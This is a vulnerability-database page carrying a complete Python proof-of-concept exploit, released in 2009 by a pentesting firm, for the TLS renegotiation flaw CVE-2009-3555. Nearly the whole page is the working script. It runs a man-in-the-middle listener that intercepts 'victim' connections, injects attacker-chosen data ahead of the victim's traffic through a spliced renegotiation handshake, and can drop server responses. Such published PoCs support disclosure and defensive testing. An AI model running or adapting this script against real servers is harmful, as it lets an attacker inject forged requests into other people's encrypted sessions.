Lucene search
K

TLS Renegotiation Exploit

🗓️ 21 Dec 2009 00:00:00Reported by redteam-pentesting.deType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 228 Views

#PoC exploit for TLS renegotiation vulnerability (CVE-2009-3555). #Falls back to SSLv2 ClientHello, known issue in Firefox, and wget. #TLS renegotiation references and PoC license

Related
Code
`#!/usr/bin/env python  
  
######################################  
# #  
# RedTeam Pentesting GmbH #  
# [email protected] #  
# http://www.redteam-pentesting.de #  
# #  
######################################  
  
# PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555)  
  
# License  
# -------  
# CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/  
  
# Timeline  
# --------  
# 2009-12-21 initial public release  
  
# Known Issues  
# ------------  
# Firefox: if it fails connecting to a TLS site too often, falls back to  
# issuing SSLv2 ClientHello only until browser is restarted  
#  
# wget: attempts SSLv2 ClientHello by default  
  
# References  
# ----------  
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555  
# http://www.phonefactor.com/sslgap  
# http://www.extendedsubset.com/  
# http://www.g-sec.lu/practicaltls.pdf  
# http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01  
  
import tlslite  
import tlslite.api  
import tlslite.messages  
import tlslite.constants  
import struct  
import socket  
import threading  
import array  
import sys  
import optparse  
  
  
if not hasattr(threading.Thread, 'name'):  
# emulate python 2.6 threading module for earlier versions  
threading.current_thread = threading.currentThread  
setattr(threading.Thread, 'name',  
property(threading.Thread.getName, threading.Thread.setName))  
  
def forward(sock1, sock2):  
sock1.settimeout(1.0)  
while True:  
try:  
data = sock1.recv(4096)  
if not data:  
return  
sock2.send(data)  
except socket.error, ex_error:  
if ex_error[0] == 104: # Connection reset by peer  
return  
except socket.timeout, ex_timeout:  
pass  
  
  
class MessageWrapper(object):  
def __init__(self, version = (3, 1), ssl2 = False):  
self.contentType = tlslite.messages.ContentType.handshake  
self.ssl2 = ssl2  
self.client_version = version  
  
def setType(self, type):  
self.contentType = type  
  
def addBytes(self, bytes):  
self.bytes = bytes  
  
def write(self, trial=False):  
if trial:  
raise Exception('Unsupported')  
return array.array('B', self.bytes)  
  
def send_record(sock, msg_type, version_major, version_minor, record):  
msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record))  
if type(record) != str:  
msg += record.tostring()  
else:  
msg += record  
sock.send(msg)  
  
def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)):  
msg = MessageWrapper(version)  
msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes))  
msg.setType(type)  
for dummy in sslsock._sendMsg(msg, True):  
pass  
  
def decrypt_record(sslsock, type, recordbytes):  
for result in sslsock._decryptRecord(type, array.array('B', recordbytes)):  
pass  
return result  
  
def recv_record(sock):  
try:  
header = sock.recv(5)  
if not header:  
return None, None, None, None  
msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header)  
record = ''  
while len(record) != msg_length:  
record += sock.recv(msg_length - len(record))  
return msg_type, msg_version_major, msg_version_minor, record  
except socket.error, ex:  
if ex[0] == 104: # Connection reset by peer  
return  
  
def recv_clienthello(sock):  
header_bytes = []  
header_bytes.append(sock.recv(1))  
header_bytes[0] = struct.unpack('!B', header_bytes[0])[0]  
if header_bytes[0] & 0x80:  
# Version 2.0 Client "Record Layer"  
header_bytes.append(sock.recv(1))  
header_bytes[1] = struct.unpack('!B', header_bytes[1])[0]  
msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1]  
msg_version_major = 2  
msg_version_minor = 0  
msg_type = tlslite.constants.ContentType.handshake  
record = sock.recv(msg_length)  
else:  
header = sock.recv(4)  
msg_type = header_bytes[0]  
msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header)  
record = sock.recv(msg_length)  
  
return msg_type, msg_version_major, msg_version_minor, record  
  
def send_hello_request(sock):  
sock.send("\x16" # Record Layer: Handshake Message  
+"\x03\x01" # Record Layer Version: TLS 1.0  
+"\x00\x04" # Record Layer Length: 4  
+"\x00" # Handshake Message Type: Hello Request  
+"\x00\x00\x00") # Handshake Message Length: 0  
  
def send_protocol_version_alert(sock):  
sock.send("\x15" # Record Layer: Alert"  
+"\x03\x01" # Record Layer Version: TLS 1.0  
+"\x00\x02" # Record Layer Length: 2  
+"\x00" # Alert Message: fatal  
+"\x46") # Alert Message: protocol version  
  
  
def handle_victim(victim, options, mitmcount):  
  
if options.one_shot and mitmcount != 0:  
print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only'  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect(options.target)  
print threading.current_thread().name, 'Connected to target %s:%u' % options.target  
except socket.error, ex:  
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target  
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])  
sys.exit(1)  
  
t1 = threading.Thread(target=forward, args=(sock, victim))  
t1.start()  
  
t2 = threading.Thread(target=forward, args=(victim, sock))  
t2.start()  
  
t1.join()  
sock.close()  
  
t2.join()  
victim.close()  
return  
  
# obtain initial "client hello" message  
msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim)  
if msg_version_major == 2:  
print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread"  
return  
  
tls_version = (msg_version_major, msg_version_minor)  
type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39])  
resume_session = (session_id_length != 0)  
if resume_session:  
print threading.current_thread().name, "client attempting to resume session"  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect(options.target)  
print threading.current_thread().name, 'Connected to target %s:%u' % options.target  
except socket.error, ex:  
print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target  
print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])  
sys.exit(1)  
  
  
sslsock = tlslite.api.TLSConnection(sock)  
handshake_settings = tlslite.HandshakeSettings.HandshakeSettings()  
handshake_settings.minVersion = tls_version  
handshake_settings.maxVersion = tls_version  
sslsock.handshakeClientCert(settings = handshake_settings)  
  
# inject prefix  
sslsock.write(options.inject)  
print threading.current_thread().name, 'Injected %s' % repr(options.inject)  
  
# send original "client hello" message over the encrypted channel  
send_encapsulated(sslsock, 22, hello_msg, tls_version)  
  
# now receive serveral TLS messages from the server, decrypt them, and forward  
# them to the client, until the server sends "server hello done"  
# these messages include "server hello", "certificate", "server key exchange",  
# unless the client is trying to resume a previous session  
print threading.current_thread().name, "about to receive server handshake messages"  
server_handshake_done = False  
while not server_handshake_done:  
msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock)  
if result:  
result = decrypt_record(sslsock, msg_type, result)  
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)  
if result[0] == 0x0e: # server hello done - should terminate handshake  
server_handshake_done = True  
elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant  
server_handshake_done = True  
else:  
print threading.current_thread().name, 'receive from server failed, exiting thread'  
return  
print threading.current_thread().name, "server handshake done"  
  
  
# now its the the client's turn to send some messages, e.g.  
# "client key exchange" and "change cipher spec"  
print threading.current_thread().name, "about to receive client handshake messages"  
handshake_finished = False  
while not handshake_finished:  
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)  
print threading.current_thread().name, msg_type  
send_encapsulated(sslsock, msg_type, record, tls_version)  
if msg_type == 0x14: # change cipher spec  
handshake_finished = True  
  
print threading.current_thread().name, "client handshake done"  
  
# message after "change cipher spec" must be sent in the "clear"  
msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)  
send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record)  
  
# server should now send "change cipher spec" message, we decrypt and send that to the victim  
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)  
result = decrypt_record(sslsock, msg_type, record)  
send_record(victim, msg_type, msg_version_major, msg_version_minor, result)  
  
# finalize handshake  
msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)  
if record:  
send_record(victim, msg_type, msg_version_major, msg_version_minor, record)  
else:  
sslsock.sock.close()  
victim.close()  
del sslsock  
return  
  
  
  
# the rest is just forwarding TLS records between both parties,  
# which we cannot interfere with anymore, apart from dropping server  
# responses  
if options.drop:  
sslsock.sock.close()  
del sslsock  
else:  
t1 = threading.Thread(target=forward, args=(sslsock.sock, victim))  
t1.start()  
  
t2 = threading.Thread(target=forward, args=(victim, sslsock.sock))  
t2.start()  
  
if not options.drop:  
t1.join()  
sslsock.sock.close()  
  
t2.join()  
victim.close()  
  
  
  
if __name__ == "__main__":  
parser = optparse.OptionParser()  
parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443)  
parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0')  
parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' )  
parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA')  
parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE')  
parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA')  
parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections')  
parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating')  
  
(options, args) = parser.parse_args()  
  
if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1:  
print 'Exactly one injection option must be specified'  
sys.exit(1)  
  
if options.inject_file:  
try:  
options.inject = open(options.inject_file, 'r').read()  
except IOError, ex:  
print ex  
sys.exit(1)  
  
if options.inject_base64:  
import base64  
try:  
options.inject = base64.decodestring(options.inject_base64)  
except base64.binascii.Error, ex:  
print 'Error decoding base64 data: %s' % ex  
sys.exit(1)  
  
  
if not options.listen_port or \  
not options.bind_address or \  
not options.target or \  
not options.inject:  
parser.print_help()  
sys.exit(1)  
  
target = options.target.split(':')  
if len(target)==2:  
try:  
target[1] = int(target[1])  
except ValueError:  
target[1] = None  
if len(target)!=2 or not target[0] or not target[1]:  
print 'Target \'%s\' not in format HOST:PORT' % options.target  
sys.exit(1)  
  
options.target = tuple(target)  
  
try:  
listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
listensocket.bind((options.bind_address, options.listen_port))  
print 'Listening on %s:%u' % (options.bind_address, options.listen_port)  
except socket.error, ex:  
print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port)  
print 'Error code %u, \'%s\'' % (ex[0], ex[1])  
sys.exit(1)  
  
listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
listensocket.listen(5)  
  
mitmcount = 0  
  
while True:  
try:  
victim, victimaddr = listensocket.accept()  
print 'New connection from %s:%u' % victimaddr  
  
threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start()  
mitmcount += 1  
  
except KeyboardInterrupt, ex:  
print '\nAborted by user, exiting...'  
listensocket.close()  
sys.exit(1)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Dec 2009 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.87264
228